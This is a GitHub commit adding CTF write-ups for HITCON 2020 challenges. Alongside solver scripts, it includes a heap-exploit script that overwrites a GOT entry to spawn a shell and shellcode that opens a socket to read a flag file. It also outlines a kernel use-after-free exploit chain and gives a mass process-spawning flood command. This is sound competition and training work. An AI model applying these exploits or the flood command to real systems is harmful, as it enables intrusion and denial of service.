Skip to content

Commit a0183e5

Browse files
committed
Merge branch 'master' of github.com:perfectblue/ctf-writeups
2 parents d4dce66 + fb5c2fb commit a0183e5

File tree

13 files changed

+763
-0
lines changed

13 files changed

+763
-0
lines changed

2020/HITCON/100pins/test.js

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
const n = 300;
2+
console.log(n);
3+
for (var i = 0; i < n; i++) {
4+
console.log(Math.random());
5+
}

2020/HITCON/100pins/test2.js

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
const N = 5040;
2+
const n = 12;
3+
console.log(n);
4+
for (var i = 0; i < n; i++) {
5+
console.log(Math.floor(Math.random()*N));
6+
}

2020/HITCON/100pins/test3.js

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
const N = 100;
2+
const candidates = Array.from({ length: 10000 }, (_, i) =>
3+
i.toString().padStart(4, "0")
4+
).filter((x) => new Set(x).size === 4);
5+
const pins = Array.from(
6+
{ length: N },
7+
() => candidates[Math.floor(Math.random() * candidates.length)]
8+
);
9+
10+
for (const pin of pins) {
11+
console.log(pin);
12+
}
13+
14+
const nonce = Math.random().toString(36).slice(-10);
15+
console.log(nonce);

2020/HITCON/100pins/tree.pickle

212 KB
Binary file not shown.

2020/HITCON/11011001/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# 11011001
2+
3+
Read [solve.py](./solve.py)

2020/HITCON/11011001/solve.py

+92
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
from z3 import *
2+
3+
data = """0x00081002 == 0x00001000
4+
0x00029065 == 0x00029061
5+
0x00000000 == 0x00000000
6+
0x00016c40 == 0x00016c00
7+
0x00020905 == 0x00000805
8+
0x00010220 == 0x00000220
9+
0x00098868 == 0x00080860
10+
0x00021102 == 0x00021000
11+
0x00000491 == 0x00000481
12+
0x00031140 == 0x00001000
13+
0x00000801 == 0x00000000
14+
0x00060405 == 0x00000400
15+
0x0000c860 == 0x00000060
16+
0x00000508 == 0x00000400
17+
0x00040900 == 0x00000800
18+
0x00012213 == 0x00010003
19+
0x000428c0 == 0x00000840
20+
0x0000840c == 0x0000000c
21+
0x00043500 == 0x00002000
22+
0x0008105a == 0x00001000""".split("\n")
23+
24+
s = Solver()
25+
cons = []
26+
27+
for i in data:
28+
temp = i.split(" == ")
29+
cons.append((int(temp[0], 16), int(temp[1], 16)))
30+
31+
bits = []
32+
for i in range(20):
33+
a = []
34+
for j in range(20):
35+
test = BitVec("f" + str(i).zfill(2) + str(j).zfill(2), 8)
36+
s.add(Or(test == 0, test == 1))
37+
a.append(test)
38+
bits.append(a)
39+
print(bits)
40+
41+
for i in range(len(cons)):
42+
for j in range(20):
43+
mask = (cons[i][0] >> j) & 1
44+
bit = (cons[i][1] >> j) & 1
45+
if mask == 1:
46+
# print(bits[i][j])
47+
s.add(bits[i][j] == BitVecVal(bit, 8))
48+
49+
for i in range(20):
50+
tot = 0
51+
tot2 = 0
52+
for j in range(20):
53+
tot += bits[i][j]
54+
tot2 += bits[j][i]
55+
s.add(tot == BitVecVal(10, 8))
56+
s.add(tot2 == BitVecVal(10, 8))
57+
58+
for i in range(20):
59+
for j in range(i + 1, 20):
60+
conds = []
61+
conds2 = []
62+
for k in range(20):
63+
conds.append(bits[i][k] != bits[j][k])
64+
conds2.append(bits[k][i] != bits[k][j])
65+
s.add(reduce(Or, conds))
66+
s.add(reduce(Or, conds2))
67+
68+
for i in range(18):
69+
for j in range(20):
70+
cur = bits[i][j] + bits[i + 1][j] + bits[i + 2][j]
71+
cur2 = bits[j][i] + bits[j][i + 1] + bits[j][i + 2]
72+
s.add(cur != BitVecVal(3, 8))
73+
s.add(cur != BitVecVal(0, 8))
74+
s.add(cur2 != BitVecVal(3, 8))
75+
s.add(cur2 != BitVecVal(0, 8))
76+
77+
print(s.check())
78+
m = s.model()
79+
print(m)
80+
81+
sices = []
82+
for i in range(20):
83+
sice = ""
84+
for j in range(20):
85+
sice += str(m.eval(bits[i][j]))
86+
sices.append(int(sice[::-1], 2))
87+
# print(bin(sices[-1])[2:].zfill(20))
88+
print(sices[-1])
89+
for i in range(20):
90+
print(sices[i] & cons[i][0] == cons[i][1])
91+
92+

2020/HITCON/atoms/README.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# Atoms
2+
3+
```
4+
(for x in `seq 100000`; do (./demo &); done)& (for x in `seq 100000`; do (./demo &); done)& (for x in `seq 100000`; do (./demo &); done)& (for x in `seq 100000`; do (./demo &); done)&
5+
```

2020/HITCON/dual/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# dual
2+
3+
Read [solve.py](./solve.py)

2020/HITCON/dual/solve.py

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
victimizer = create(0) # @1
2+
pepega = create(0) # @2
3+
write_bin(pepega, "") # @3
4+
not_scanned = create(pepega) # @3
5+
victim = create(not_scanned) # @4
6+
7+
run_gc() # victim@4 is freed
8+
9+
fake_node = bytearray()
10+
fake_node += le.p64(victim) # node_id
11+
fake_node += le.p64(4) # mpo
12+
fake_node += le.p64(0) # ps
13+
fake_node += le.p64(0) # pe
14+
fake_node += le.p64(0) # pc
15+
fake_node += le.p64(1024) # tl
16+
fake_node += le.p64(1) # tpo
17+
fake_node += le.p32(0) # last_used
18+
fake_node += le.p32(0xdeadbeef) # last_used
19+
20+
write_text(victimizer, fake_node) # @4
21+
22+
write_text(0, "A"*256) # @5
23+
24+
bigly_leak = read_text(victim, 1024)
25+
ofs = bigly_leak.find(le.p32(0xdeadbeef))+4
26+
ofs += 16 # malloc padding
27+
ofs += 8*5 # ptr of www.text
28+
29+
30+
GOT = 0x0000000000519000
31+
#GOT = 0xdeadbeef
32+
bigly_write = bigly_leak[:ofs] + le.p64(GOT) + bigly_leak[ofs+8:]
33+
write_text(victim, bigly_write)
34+
35+
got_leak = read_text(0, 256)
36+
got_fwrite_ofs = 0x98
37+
38+
libc_fwrite = 0x00086480
39+
libc_system = 0x00055410
40+
41+
libc = le.u64(got_leak[got_fwrite_ofs:got_fwrite_ofs+8]) - libc_fwrite
42+
43+
log.success('libc is at %s', hex(libc))
44+
45+
got_write = bytearray(got_leak)
46+
got_write[got_fwrite_ofs:got_fwrite_ofs+8] = le.p64(libc + libc_system)
47+
48+
write_text(0, got_write)
49+
50+
write_text(victim, b"sh\x00")
51+
read_text(victim, 0)
52+
53+
io.interactive(r)

2020/HITCON/revenge/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# revenge
2+
3+
Read [solve.py](./solve.py)

2020/HITCON/revenge/solve.py

+94
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
from pwn import *
2+
3+
context.arch = "amd64"
4+
5+
code = """call str1
6+
.string "stack address @ 0x000\\n"
7+
str1:
8+
pop rsi
9+
mov rdi, 1
10+
mov rdx, 22
11+
mov rax, 1
12+
syscall
13+
14+
mov rdi, 0xdead000
15+
mov rsi, 0x4000
16+
mov rdx, 0x7
17+
mov r10, 0x31
18+
mov r8, 0
19+
mov r9, 0
20+
mov rax, 9
21+
syscall
22+
23+
mov rdi, 0
24+
mov rsi, 0xdeae000
25+
mov rdx, 1000
26+
mov rax, 0
27+
syscall
28+
29+
push 0x29
30+
pop rax
31+
push 2
32+
pop rdi
33+
push 1
34+
pop rsi
35+
cdq
36+
syscall
37+
mov r12, rax
38+
movabs rax, 0x201010101010101
39+
push rax
40+
movabs rax, 0x301017e687b0103
41+
xor qword ptr [rsp], rax
42+
push 0x2a
43+
pop rax
44+
mov rdi, r12
45+
push 0x10
46+
pop rdx
47+
mov rsi, rsp
48+
syscall
49+
50+
call dick
51+
.string "1\\n.include \\"/home/deploy/flag\\"@"
52+
dick:
53+
pop rsi
54+
mov rdi, r12
55+
mov rdx, 31
56+
push 1
57+
pop rax
58+
syscall
59+
mov rdi, r12
60+
mov rsi, 0xdead000
61+
mov rdx, 1000
62+
xor eax, eax
63+
syscall
64+
add rsi, 4
65+
cmp rsi, 10
66+
call dick2
67+
.string "Hooray! A custom ELF is executed!\\n"
68+
dick2:
69+
pop rsi
70+
mov rdi, r12
71+
mov rdx, 34
72+
push 1
73+
pop rax
74+
syscall
75+
bad:
76+
xor edi, edi
77+
push 60
78+
pop rax
79+
syscall
80+
"""
81+
82+
sice = asm(code, extract=False)
83+
print(sice)
84+
a = open(sice, "rb").read()
85+
print(len(a))
86+
os.system("mv {} ./win".format(sice))
87+
88+
89+
payload = "1\n.include \"/tmp/flag.txt\""
90+
91+
# print(eval(payload))
92+
print(shellcraft.stager(payload, 0x4000))
93+
print(asm(shellcraft.stager(payload, 0x4000)))
94+

2020/HITCON/spark/README.md

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
Spark
2+
=====
3+
4+
Brief Idea:
5+
6+
Create UAF using -> open(), open(), link(0, 1), close(1)
7+
reclaim UAF chunk using setxattr,
8+
point links to userspace and stall it using userfaultfd,
9+
get leaks using dmesg,
10+
Set fake link's node pointer to fake spark_node chunk in userspace (so it gets added to array created in traversal)
11+
12+
close(fd[0]) -> our fake spark_node chunk in neighbours gets freed,
13+
it calls kfree(chunk->neighbours->arr) which we control
14+
so basically we have kfree(arbitrary_pointer)
15+
we spray seq_operations and try to get one of those vtables freed using this (some brute needed)
16+
and then we spray again using setxattr to reclaim that freed chunk and get RIP

0 commit comments

Comments
 (0)